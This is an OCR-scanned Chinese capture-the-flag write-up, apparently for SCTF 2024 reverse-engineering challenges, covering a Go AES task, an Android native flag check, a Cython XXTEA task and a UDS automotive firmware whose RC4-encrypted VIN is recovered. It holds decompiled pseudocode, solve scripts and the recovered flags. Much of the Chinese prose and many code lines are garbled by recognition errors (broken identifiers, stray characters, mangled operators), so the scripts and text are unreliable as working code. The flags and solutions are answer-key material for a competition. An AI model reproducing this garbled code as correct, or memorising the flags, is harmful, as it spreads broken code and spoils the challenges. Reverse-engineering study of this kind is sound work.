82 v9 = runtime.newobject (&gword_4C7F80) ; // struct { F uintptr; X0 chan
abcd3.EncryptData; X1 [Juint8 }
83 *V9 = proc_2_2;

84 if ( runtime.writeBarrier )

85 sub_46C9A0() ;

86 v9[1l] = EncryptedData_chan;
87 v9[3] = 64LL;

88  v9[4] = 64LL;

89 vo[2] = vi16;

90 runtime.newproc(v9);

91 sync._ptr_WaitGroup.Wait(mWaitGroup);
92 runtime.closechan(EncryptedData_chan);
93 runtime.chanrecvl(chan_2_4, OLL);

94 v10 = v16;

95  vll = 64LL;

96 *((_QWORD *)&result + 1) = v11;

97 *(_QWORD *)&result = v10;

98 return result;

99 1}

BB AR MEIRELIER, Bchan@d, XE DI EHRKMOT:

1

2 aeskey = b'hey_syclover2024'

3 def change_aeskey():

4 global aeskey

5 aeskey = aeskey[::-1]

6 aeskey = aeskey[: 4][::-1] + aeskey[4: ]J[:: -1]
7 # aeskey = aeskey[-4: ] + aeskey[: -4]

8

9 def proc_2_1(data, i, EncryptedData_chan):

10 data = data[i * 16: i x 16 + 16]

11 if i == 0:

12 data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
13 EncryptedData_chan.sendl(data)

14 change_aeskey ()

15 chan_2_1.send1()

16 elif i == 1:

17 chan_2_1.recvl1()

18 data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
19 EncryptedData_chan.sendl(data)
20 change_aeskey ()
21 chan_2_2.send1()
22 elif i ==
23 chan_2_2.recvl()



24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57

def

def

data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
EncryptedData_chan.sendl(data)
change_aeskey ()
chan_2_3.send1()
elif i ==
chan_2_3.recvl()
data = AES.new(aeskey, AES.MODE_ECB).encrypt(data)
EncryptedData_chan.sendl(data)
else:
assert False
mWaitGroup.Add(-1)

proc_2_2(EncryptedData_chan, buf):
i=0
while True:

tmp = EncryptedData_chan.recv ()

if not tmp: break

for j in range(16):

buf.append (tmp[i])
if i == 3: chan_2_4.send1()

i+=1

main_main(flag):
buf = []
flag = ''.join(flag.split('_"))
for i in range(len(flag) // 16):
mWaitGroup.Add (1)
newproc (proc_2_1, [data, i, EncryptedData_chan], mWaitGroup)
newproc(proc_2_2, [EncryptedData_chan, buf])
mWaitGroup.Wait()
chan_2_4.recvl()
chan_1_5.recv1()
return bytes(buf) == target

BIHEMENTT, BESRRAHE, MELIER.
BEREYERMBALEK, EAEAX, BIAEBET, BREHSOMIFANZLEN, ZIEEILE
AR, o o ARABIFAR, HRRBELEEXRIFABMGpatch— BT,

iR main.mainPLLARERERAL, A IMLERBItargetEIRTEA—EH, WMAMBHNERNER—F,
TAAANNIERRZTAES, EAZHREE? HNAESITIERNRE—E:!



runtime.gopanic(&type string, &coff _4FF13e);

if { input_buf != cutput_buf && input_buf + 15 »= cutput_buf && cutput buf + 15 »= input_buf )
runtime.gopanic (&type_string, &off_4FF148);
for { i = @LL; input len » i; ++i )

input_buf[i] ~= @x6bu;
sub_4Be446(((unsigned _ int64)*cipher »» 2) - 1, cipher + 4, output buf, input buf);
¥

R, EX) | FERRE, ESERFEMET, EXMBRBEHER—T, FA?

for i in range(4):
rc4_update()

flag = b''

for i in range(4):
flag += AES.new(aeskey, AES.MODE_ECB).decrypt(target[i * 16: i * 16 + 16])
change_aeskey ()

O 0 N oo uu b W N BRE

=
(O}

print(bytes(i » 0x66 for i in flag))

e
w N R

BBox

AU u LUA, BiEFA fuzz, java B fuzz HRZE/LESE base6s
MEKER 4 B ERTUER

BREXMAZERNME, THANRFNN, HERE =<7

— AR E AR T, LR ERERIFR.
BHiZBd Java BEHNRERD, IRIBERRE, TUEMMRTRER v6 TN, KMKELE

base64 $E, BZX=IAALIL, base64 FIRKRRIEWMANRKEREHTT, FrhHbrizmAN 287029
BN REKEERRT) , BWIANBAKEN 30, ETRIAMENEA, TREE base64 EXHF

BHEERNT]



{

[ RN I« IV, I SR TV

9| int vie;

| _inte4 _ fastcall Java_com_example_bbandroid_MainActivity checkFlag(__int64 al, _ int64 a2, _ int64 a3)

__inte4 v4; [/ rbx

int v5; // rl3d

const char *v6; // rax
const char *v7; // ri2
__inte4 v8; // ri4
signed int v9; // ecx

// eax

l&| signed int v11; // esi
1| signed int v12; // edx
12| signed int vi13; // esi

12| unsigned
4| int v15;
5| int vie;
6| char vi18
17| wunsigned

lo| vie =

__inte4 vi4; // rax

// edx

/i oesi

[264]; // [rsp+eh] [rbp-138h] BYREF
__inté4 v19; // [rsp+l188h] [rbp-36h]

readfsqword(@x28u);

0| LODWORD(v4) = @;
21| v5 = time(OLL);

12| v6 = (co

nst char *)(*(_ int64 (_ fastcall **)(_ int64, _ int64, _QWORD))(*( QWORD *)al + 1352LL))(al, a3, OLL);

M| {

!5 v7 = v6;

16 strncpy(v18, v6, @xFFuLL);

17 v18[255] = @;

18 LODWORD(v4) = _ strlen_chk(v1g, 256LL);

19 (*(void (__fastcall **)(__inte4, _ inté4, const char *))(*(_QWORD *)al + 1368LL))(al, a3, v7);

) srand(v5 / 1eeeeee / 1ee);

31 if ( (
12 {

33 v4 =
i4 V8 =
S do
36 {

int)v4d >= 4 )

(unsigned int)v4 >> 2;
eLL;

Native RIFEER, STEMEIMANT:

o b~ W N

import random

import base64

from string import digits, ascii_letters
from Crypto.Util.number import long_to_bytes

cip = [2747842611, 438157299, 3333898555, 1384537841, 510381906, 3217816005,

4049763309, 1414022135, 3645670907, 1861365813]

7 r

= [185, 173, 127, 3, 159, 15, 241, 103, 121, 183, 57, 221, 147, 136, 174,
234, 176, 61, 122, 7, 242, 137, 229, 52, 35, 85, 216, 78, 183, 218, 236, 113,

136, 108, 116, 39, 123, 101, 142, 245]

S
10

= p'!

11 for i in cip:

12
13
14
15
16
17
18
19
20

for _ 1in range(32):
if 4 & Ox1:
i A= Ox85B6874F
i >>=1
i += Ox80000000
else:
i >>=1
s += long_to_bytes(i)[::-1]

21 tmp = []



22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
a7
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

for

i in range(40):
tmp.append(s[i] * r[i])

target = bytes(tmp)

prin

def

b64t

hash
for

table = digits + ascii_letters + "+/={}<>?2@[]J"_" |~ #$%&' () *+,-.:3"

generate_input():
input_str = "'
for _ 1in range(30):
input_str += random.choice(printable)
return dnput_str.encode()

able = b"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789+/"

_table = {}

i in b64table:
hash_table[i] = 0

# inps = []
# while 0 in hash_table.values():

#
#

inps

input_str = generate_input()

res = baseé64.b64encode (input_str)

for i in res:
hash_table[i] = 1
inps.append(input_str)

-l
b'-hC<$YR/DkipTfl+._+6PCEVTH%aQA',
b'sauia7M(S#&1j1&uhL+A, rOW5>~:%r"',
b'&YN&%05N8sScS) }$1C<h=vy=cY<!{r"',
b'_ 3-+If6Kd_hF2wo$x$%Q1? {s%bE>.N",
b"d<gRjskdhcr'C2TpI+1)8y}8*x7x11H",
b"gsGNOIK&N1zmeb |<[%)iS~m'Z!@)N<",
b'T.jz_+PeQLh8@LgF8+~A( gnNat(zh',
b'byRf}LxfFia]lkeS[_mU&CyCM8/DRd-",
b'0_4b#=4-Tz-N)#fnac i&pDOy#vd(<"',
b"!?;=KbRzgVWb-<c3XB'/m;1Q3PAXYr",
b'rQgMI(=sC>M7$te6~,7_NRFvG}+cXz',
b":eHzyoj=LE>40U'<fS[pvn&c4Ds~r4",
b"oNKZV9+ku+'B8PFtj30UOhO>zn0OLe'",
b"=2u{gRv}q'UrtTQJ @vqJTV[voID>s",
b'AGb.="%X!,=GFCfkC;&A&#Gzv =axQ"',
b"'e9kvwvP8e) ;4?TFSOzo:b6@zaa/a}",



69
70
71
72
73
74
75
76
T
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115

b'&Tb-<{:#_ANp[C{bl&,oy#4.e_skNV',
b'S?NcMXV%/{%5c—"Eh>J+I; 1sWGKH3C"',
b'v$ WR<SrmN41lYm[-Z.z bDg>.MOZ5L"',

b"@%$2N8-*Z! 'qwjZs]SC+&2 ! ewSoho#"

b'(4!3TQ7|~t]{>In-*}tMd8fivgXuxf',
b'~},-!5mVb(OR3@+c6Nd#bI<GSOdqG~",
b'+Bx%RSZw]WsNs<?5BF)GnP?!=7/)Bd"

0x50,
0x59,
0x4B,

1,

ox7C,
0Ox46,
Ox71,

15

0x2C,
0x58,
0x5D,

1,

0x28,
0x58,
0x28,

0x56, 0x48, Ox7C, Ox6F, 0x52, Ox6E, Ox77, O0x4D, Ox72, Ox5F,
Ox6C, Ox4A, Ox2E, Ox7D, Ox27, Ox4B, Ox6A, O0x4D, 0x68,
0x69, Ox2D, Ox44, 0x59, Ox66, Ox4D, Ox76, OXx76, OX67,
0x48, 0x4B, 0x6C, Ox7F, Ox7D, Ox4C, 0x4B, Ox6D, Ox71l

0x49, Ox2E, Ox6D, 0Ox64, Ox4A, 0x48, Ox6C, Ox2F, Ox75, Ox74,
0x75, Ox5B, 0x69, 0x4C, 0x35, Ox4A, OXTA, Ox27, OXTA,
0x48, 0x7C, Ox57, Ox59, Ox67, Ox6C, Ox68, 0x49, 0x5C,
Ox4F, Ox54, Ox75, Ox2D, Ox51, Ox55, Ox5F, Ox4B, 0x69

0x58, 0x7D, Ox7D, O0x55, 0x58, Ox5F, O0x4B, 0x52, 0x54, Ox72,
0x2C, Ox49, 0x64, 0x54, 0x5C, Ox72, Ox69, Ox7D, 0x50,
Ox5A, 0Ox64, Ox6F, 0x52, Ox6A, Ox7F, O0x50, 0x46, OX7B,
0x50, 0x4C, Ox64, 0x5D, Ox53, Ox5B, Ox4F, 0x28, 0Ox69

Ox4F, 0Ox66, Ox57, 0x28, 0x59, Ox67, Ox7D, Ox7A, 0x54, Ox5D,
0x5D, Ox4F, Ox2E, Ox7C, Ox6A, Ox57, Ox7B, 0x46, 0x26,
Ox6E, 0Ox78, Ox5D, 0x58, 0x4B, 0x6C, 0x35, 0x52, Ox2F,
Ox66, Ox58, Ox48, Ox58, Ox6D, 0x52, Ox5F, O0x2D, 0x55

mapping = {}
for i in target:
mapping[i] = 0

for i in range(len(rets)):

std

rea

for

base64.b64encode (inps[i])
bytes(rets[i])

j in range(40):
if real[j] in mapping and mappingl[real[j]] == 0:
mapping[real[j]] = std[j]



116 elif real[j] in mapping and mapping[real[j]] != std[j]:

117 print("Error", real[j], std[j])
118 break

119

120 if 0 1in mapping.values():

121 print("Keep Move On")

122 print(mapping)

123 else:

124 b64flag = b''

125 for ¢ in target:

126 b64flag += bytes([mappingl[c]l])
127 print(base64.b64decode (b64flag))
128

129 # b'YOu_@re_rlght_r3ver53_1is_easy!'

RENERKE

1 #include <stdio.h>
2 #include <stdlib.h>

3

4 dnt main() {

5 int r;

6 srand(0x11);

7 for (Ant 1 = 0; 1 < 40; i++) {
8 r = rand() & OxFF;

9 printf("%d, ", r);

10 }

11 return 0;

12 }

M&EIRET LORIR B R AN R B R 29—/ g (

2| exp.py 2024/9/28 21:00 Python JE3Z{4 4 KB

ez_cython

pyinstallerf# 8 /apycki¥, ZEEHAN, LEEECcy pydE, sub_180006C60EmodulefiGt,
BEENXTmoduleBEE, BHE, HPMsub_180007BO0EX FEE, BIE moduleRI&EMIERLTT



AEMELMRFERRE, F—TmE M ESRxxtea,

13
14
15
16
17
18
19
20
21

126 return -1;

129 if { !'v3e )
138 return -1;

133 if ( 'w3l )
134 return -1;

137 if { !'w32 )
138 return -1;

141 if ( 'w33 )
142 return -1;

145 if { !'wv34 )
146 return -1;

149 if ( 'w3s )
158 return -1;

152 if ( !'v3s )
154 return -1;

- — L I

class Q00QO0QO0Q0O00Q:
def __init__(self):
self.key_data = [

127 w32 = PyLong_Fromlong(17@@9539382i64);
128 module_define.long 1788983352 = vio;

131| w31 = PylLong_FromLong(1786385447i64) ;
132| module_define.long_1786385447 = v31;

135 w32 = PyLong_Fromlong(2889726349i64);
136| module_define.leong 2889726343

139| w33 = PylLong_FromString("2217255962",
148| module_define.long_2217255962 = v33;

143 w34 = PyLong_FromString("2272836063",
144 module define.long 2272836863

147| w35 = PyLong_FromString(™"2399857278",
148| module_define.long_2399857278 = v35;

151 w38 = PyLong FromString("2468383532",
152 module_define.long 2468883532 = viG;

155| w37 = PyLong_FromString("2466899443"
155| module_define.long_ 2466899443

Bisca,

Bica,

Bisca,

Bica,

Bisca,

249, 211, 233, 155, 154, 252, 207, 248,

204, 154, 248, 252, 207, 216

def get_key(self):

return [k » 170 for k in self.key_datal]

def sub50804(a, b, c, d, e, f):

return (((a > 3) » (b << 3)) + ((b > 4) » (a << 2))) » ((b » )

& 2) » )] » a))

def sub50520(data, key):
delta = 0Ox9e3779b9
sum = 0
n = len(data)
rounds = 60 // n + 4
z = data[n - 1]
for _ 1in range(rounds):

sum = sum + delta & Oxffffffff

Bigd);

2i64);

Bigd);

2i64);

Bigd);

+ (d[((e



22
23
24

25
26

27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

54
55

56
57
58
59
60
61
62
63
64

e = (sum >> 3) & 3
for p in range(n - 1):

data[p] = data[p] + sub50804(z, data[p + 1], sum, key, p, e) &

oxfEFFffff

z = data[p]

data[n - 1] = data[n - 1] + sub50804(z, data[0], sum, key, n -

OxXFFFFFFFF

def

def

z = data[n - 1]
return data

sub14514 (nmnmnnnmnmmnmmnn) :
key = Q00Q00Q00Q000Q() .get_key()
result = [
4108944556, 3404732701, 1466956825, 788072761,
1482427973, 782926647, 1635740553, 4115935911,
2820454423, 3206473923, 1700989382, 2460803532,
2399057278, 968884411, 1298467094, 1786305447,
3953508515, 2466099443, 4105559714, 779131097,
288224004, 3322844775, 4122289132, 2089726849,
656452727, 3096682206, 2217255962, 680183044,
3394288893, 697481839, 1109578150, 2272036063
]

return sub50520 (nmnmnnnmnmmnmmnn.copy (), key) == result

decrypt(data, key):
delta = 0x9e3779b9
n = len(data)
rounds = 60 // n + 4
sum = delta * rounds & Oxffffffff
y = v[0]
for _ 1in range(rounds):
e = (sum >> 3) & 3
for p in range(n - 1, 0, -1):

1, e) &

data[p] = data[p] - sub50804(datalp - 1], y, sum, key, p, €) &

OxFFFFFFFF

y = data[p]

data[0] = data[0] - sub50804(datal[n - 1], y, sum, key, 0, e) &

OxXFFFFFFFF

y = data[0]
sum = sum - delta & Oxffffffff
return data

key = Q00Q00Q00Q000Q() .get_key()
# print(bytes (key))

v

[
4108944556, 3404732701, 1466956825, 788072761,



65 1482427973, 782926647, 1635740553, 4115935911,

66 2820454423, 3206473923, 1700989382, 2460803532,
67 2399057278, 968884411, 1298467094, 1786305447,
68 3953508515, 2466099443, 4105559714, 779131097,
69 288224004, 3322844775, 4122289132, 2089726849,
70 656452727, 3096682206, 2217255962, 680183044,
71 3394288893, 697481839, 1109578150, 2272036063
72 ]

73 decrypt(v, key)

74 print(bytes(v))

75 # SCTF{wow_yOU_wEI_kNOw_of_cYtHON}
76

Uds
32 fii arm /NmFFFT AR R 4RIE, RIBBRE—TE
B FRTEREE, AJeeEXBE:

https://github.com/armfly/H7-
TOOL_STM32H7_App/blob/d56c6897de28e4bel1931108a462alfe7c29971cd/User/bsp/src/bsp_ti
mer.c

https://github.com/junyang0412/iso14229/blob/main/README_zh.md

FEHVIN, E—TE0x22R5Z1IDID=0xf190
UDSServerPoll B EI0x22AIAR S5 AN TR R 24 -

o "L

84 if ( sid == @x19 )

85 return &;

86 if { (int)sid » ex19 )

a7

88 if ( sid == @x22 )

89 return 8x22 ReadDataByIdentifier + 1;
0@ if ( sid == @x23 )

a1 return 8x23_ ReadMemoryByAddress + 1;
92 return &;

93 }

94 if ( sid != exle )

a5

= if ( sid == @x11 )

a7 return 8xll_ECUReset + 1;

o8 if ( sid == @xl4 )

G99 return @;

186 return &;

181 }

1@2 result = Bxl@ DiagnosticSessionCeontrol + 1;
183 }

184 }



https://github.com/armfly/H7-TOOL_STM32H7_App/blob/d56c6897de28e4be1931108a462a1fe7c29971cd/User/bsp/src/bsp_timer.c
https://github.com/junyang0412/iso14229/blob/main/README_zh.md

lluints_t _ cdecl 8x22 ReadDataByIldentifier(UDSServer *this)
21

3| unsigned int v3; /S o

4| int numDIDs; // ré&

5| dint did; // rS

6| unsigned __intle we; f/ 7

7| unsigned  intd *w7; // rd

8| int wd; S/ rB

a| int vo[1e]; // [sp+eh] [bp-28h] BYREF

1@

11| this-»send buf[@] = @x&2;

12| this-»send size = 1;

13| if { ((LOBYTE(this-»recv_size) - 1) & 1} =8 )
14 return NegativeResponse(this, @x13u);

15| w3 = this-»recv_size;

16| numDIDs = {unsigned _ int8)(v3 >> 1);

17| if { '(unsigned _ int8){v3 *» 1) )

18 return NegativeResponse(this, @x13u);

19| for ( did = @; did « numDIDs; ++did )

e {

21 vE = this-»recv_buf[{unsigned  intle}{2 * did + 1) + 1] + (this
22 if { this-:send_size + 3 » this-zsend_buf_size )
23 return NegativeResponse(this, @xl4u);

24 vy = &this-»send_buf[this-»send_size];

25 *y7 = HIBYTE(vE);

2B v7[1] = vB;

27 this-»send_size 4= 2;

23 vi[1] = (int)safe_copy;

29 va[8] = vE;

38 v8 = this-»fn(this, 2, vO3};

31 if (w8 )

32 return NegativeResponse(this, w8);

33| }

341 return 8;

35[}

JEAAfn, eventH2:

48 result = 18;
41 return result;
42 case 2:
43 return ReadDathByIdentifier(this, (int (_ fastcall **)(int, char *, int))arg);
== case 3:
45 return sub_Bee2488((int)this, (int)arg);
46 case 4:
1lint _ fastcall ReadDataByIdentifier(UDS5Server *this, int {_ fastecal
2l
3| int did; // re
4
5| did = *{unsigned _ intls *)arg;
6| switch { did )
7| {
8 case 1:
9 return arg[1]{({int)this, &byte 2000688C, 1);
1@ case &:
11 return arg[1]((int)this, (char *)byte_ 28888012, 158);
12 case BxF198: /i VIN
13 return arg[1]{(int)}this, VINM, 158); /! safe_copy
14| }
15| return 49;
16}

MVINZGFRAM, %fE, XX5IAFKEInFH—L:
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52 case B:

53 vi = @wdd332211;

54 ve = Bx88776655;

55 if ( !check_rcakey(*((unsigned _ intd **
56 return 53;

57 rcddo_crypt(*((unsigned _ int8 **}arg +
58 return @;

59 case 7:

Fteat TN, WMNRIEMFLAErc4fFZZVIN

Yarg + 1}, (unsigned __int8 *)&v3, *((unsigned __intle *)arg + 4}) )

1), VIN);

BRrABZHLEEEGVRERN, BEELBHMSIAT, BRRinit_arrayPE VIR RAMARIEL
1.
liweid _ noreturn sub 8@ea39a()
21
3| int *1; JS ra
4
5| for ( i = EBoff_3884EA3; i « dword BBR4ECE; i += 4 )
& ((void ( fastcall *)(int, int, int))(i[3] | 1))(*i, i[1], i[2]);
7| main();
8|}
ROM:BEERLEAS of f_BBB4EAS DCD dword_S8B4ECE
ROM: @BPB4EAS
ROM: 88884 EAC DCD by‘te_zm
ROM: 88884EBG DCD 8x194
ROM: 28884EB4 fo_B%tlEElil DCD sub_Blmt'l{
ROM: B88B1EBS DCD unk_SeB4EFR
ROM : @88B1EBC DCD mServer
RO @ceB4ECSE DCD Bx451C
ROM: @oead4ECS DCD sub_sea3Asd
XBERNREOEA, HYTFE—P 2R L.datatk, EZNEEZ.bsse WAL N EIENMRE
1B
1 void __fastcall sub_810004C(unsigned __int8 *src, unsigned __int8 *dst, int
size)
2 {
3 unsigned __1int8 *dst_end; // r4
4 unsigned int c; // t1 MAPDST
5 int copy_count; // r3
6 int v7; // tl
7 unsigned int zero_count; // r2
8 unsigned int v9; // tI
9 unsigned __1int8 v10; // t1
10
11 dst_end = &dst[size];
12 do
13 {
14 C = *Src++;
15 copy_count = c & OxF;
16 if ( (c & OxF) == 0 )
17 {
18 VT = *Src++;



19 copy_count = v7;

20 1

21 zero_count = c >> 4;
22 if ( !zero_count )

23 {

24 V9 = *src++;

25 zero_count = v9;

26 }

27 while ( --copy_count )
28 {

29 v10 = *src++;

30 *dst++ = v10;

31 }

32 while ( --zero_count )
33 *dst++ = 0;

34 }

35 while ( dst < dst_end );
36 }

BRHD SR ARZVINED AT,

from Crypto.Cipher import ARC4

1

2

3 def tea_decrypt(data, key):

4 delta = 0x9e3779b9

5 rounds = 32

6 sum = delta * rounds & Oxffffffff

7 for i in range(rounds):

8 data[1] = data[1] - ((key[2] + (data[0] << 4)) A (data[0] + sum) A
(key[3] + (data[6] >> 5))) & Oxffffffff

9 data[0] = data[0] - ((key[0] + (data[l] << 4)) * (data[1] + sum) A
(key[1] + (data[1] >> 5))) & Oxffffffff

10 sum = sum - delta & Oxffffffff

11 return data

12

13 def tea_encrypt(data, key):

14 delta = 0x9e3779b9

15 rounds = 32

16 sum = 0

17 for i in range(rounds):

18 sum = sum + delta & Oxffffffff

19 data[0] = data[0] + ((key[0] + (data[l] << 4)) " (data[1] + sum) A
(key[1] + (data[1] >> 5))) & OxffFfffff

20 data[1] = data[1] + ((key[2] + (data[0®] << 4)) 7 (data[0] + sum) A

(key[3] + (data[0] >> 5))) & OxFfffffff



return data

def get_rcdkey():
tea_key = [0x0123, 0x4567, 0x89ab, 0Oxcdef]
data = [0x11223344, 0x55667788]
data = tea_encrypt(data, tea_key)
return b''.join(i.to_bytes(4, 'big') for i 1in data)

def decompress(data, outsize):
out = []
index = 0
while len(out) < outsize:
c = data[index]
index += 1

copy_count = c & Oxf
(c > 4) & oxf

if copy_count ==

zero_count

copy_count = data[index]

index += 1

0:
data[index]

if zero_count =

zero_count
index += 1

assert copy_count and zero_count

for i in range(copy_count - 1):
out.append(data[index])
index += 1

for i in range(zero_count - 1):
out.append(0)

# print(len(out), index)

# print(bytes(out))

return bytes(out)

# compressed = open('uds', 'rb').read()[Ox4ec8: ]

compressed =
bytes.fromhex('01130296880012b014a691feb9d741af82cc4ee94747284fd1421052015890d0
030090d003021801")

# compressed += b'\x00' * Ox20

memory = decompress(compressed, 0x194)

encrypted_VIN = memory[0xa8: 0xa8 + 150].rstrip(b'\x00")

58
59
60
61
62
63
64

print(encrypted_VIN)

rcdkey = get_rcdkey()

# print(rc4key.hex())

ARC4.new(rcdkey) .decrypt(encrypted_VIN)
print(VIN)






